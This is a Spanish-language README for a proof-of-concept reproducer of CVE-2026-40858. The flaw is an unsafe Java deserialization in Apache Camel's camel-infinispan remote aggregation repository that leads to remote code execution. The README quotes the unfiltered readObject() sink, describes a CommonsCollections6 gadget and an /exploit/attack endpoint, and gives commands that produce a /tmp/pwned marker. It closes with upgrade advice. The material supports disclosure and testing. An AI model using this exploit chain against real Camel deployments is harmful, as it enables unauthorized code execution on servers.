
Reproductor para CVE-2026-40858 — deserialización insegura del repositorio de agregación remoto de Apache Camel camel-infinispan (RCE)
Este proyecto demuestra una vulnerabilidad de deserialización de Java en el componente camel-infinispan de Apache Camel, registrada como CVE-2026-40858. El repositorio de agregación remota basado en ProtoStream serializa cada Exchange agregado en una caché Infinispan remota y, cuando vuelve a leer una entrada (en get() / recover()), la deserializa con java.io.ObjectInputStream y sin ObjectInputFilter. Un atacante que pueda escribir en la caché subyacente puede insertar un objeto serializado manipulado y obtener ejecución remota de código la próxima vez que el repositorio lea esa clave.
Aviso: https://camel.apache.org/security/CVE-2026-40858.html
| Propiedad | Valor |
|---|---|
| Componente | camel-infinispan (repositorio de agregación remoto / HotRod) |
| Clase afectada | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: Deserialización de datos no confiables |
| Impacto | Ejecución remota de código (RCE) |
| Versiones afectadas | Desde 4.0.0 hasta antes de 4.14.7, desde 4.15.0 hasta antes de 4.18.2, desde 4.19.0 hasta antes de 4.20.0 |
| Versiones corregidas | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| Notificador | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository almacena cada Exchange como un DefaultExchangeHolder. Con el marshaller ProtoStream, ese holder es adaptado por DefaultExchangeHolderProtoAdapter, cuyo campo #1 de ProtoStream es el holder serializado con un ObjectOutputStream simple. A la vuelta, el adaptador reconstruye el holder pasando esos bytes a DefaultExchangeHolderUtils.deserialize:
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
ClassLoadingAwareObjectInputStream amplía, en lugar de restringir, el conjunto de clases resolubles, por lo que readObject() instanciará cualquier cadena de gadgets presente en el classpath. Dado que los bytes provienen directamente de la caché remota, cualquiera que pueda escribir esa clave de caché controla el flujo de deserialización — y el gadget se dispara durante readObject(), antes de que el valor se convierta siquiera en DefaultExchangeHolder.
Una ruta (o, como aquí, el código de la aplicación) utiliza el repositorio de agregación remota respaldado por un servidor Infinispan:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
Cualquier get() / recover() sobre una clave cuyo valor almacenado fue manipulado activa el sink.
El código vulnerable de Camel se ejecuta en la aplicación (en el host); el servidor Infinispan se ejecuta en Docker como almacenamiento subyacente con el que se comunica el repositorio. Esto refleja cómo se despliega el repositorio en la práctica: los datos no confiables residen en la caché compartida.
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6 gadget, fired during readObject()
│ └── ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it
└── resources/
└── application.properties
Nota sobre el atajo del PoC. Un atacante real escribe los bytes maliciosos directamente en la caché Infinispan compartida. Para que el PoC sea autocontenido,
/exploit/attackinserta el valor a través del mismo repositorio (repo.add(...)con un gadget como cuerpo del Exchange) y luego llama arepo.get(...)para activar la lectura. El sink que ejecuta el gadget es el propioreadObject()de Camel, exactamente como se dispararía ante cualquier entrada de caché manipulada por un atacante.
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
El gadget CommonsCollections6 se ensambla en vivo mediante reflexión dentro de java.util, por lo que la JVM debe iniciarse con --add-opens java.base/java.util=ALL-UNNAMED:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE proof — /tmp/pwned exists: true
/tmp/pwned es creado por el gadget (touch /tmp/pwned) mientras el repositorio deserializa el valor de caché insertado.
docker compose down
rm -f /tmp/pwned
Cualquier despliegue que utilice InfinispanRemoteAggregationRepository (serialización ProtoStream) contra una caché en la que un atacante pueda escribir. El acceso de escritura a la caché puede provenir de un clúster de Infinispan compartido/multitenant, un endpoint HotRod accesible desde la red, o cualquier otro productor que deposite datos en la misma caché.
commons-collections:3.2.1).Actualice a 4.14.7 / 4.18.2 / 4.20.0. La corrección aplica un ObjectInputFilter / lista blanca de clases a la deserialización del holder, en línea con el endurecimiento aplicado a los demás repositorios de agregación de Camel (camel-leveldb, camel-cassandraql, camel-jms) y a camel-mina / camel-netty.
Hasta que se actualice:
Este PoC se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.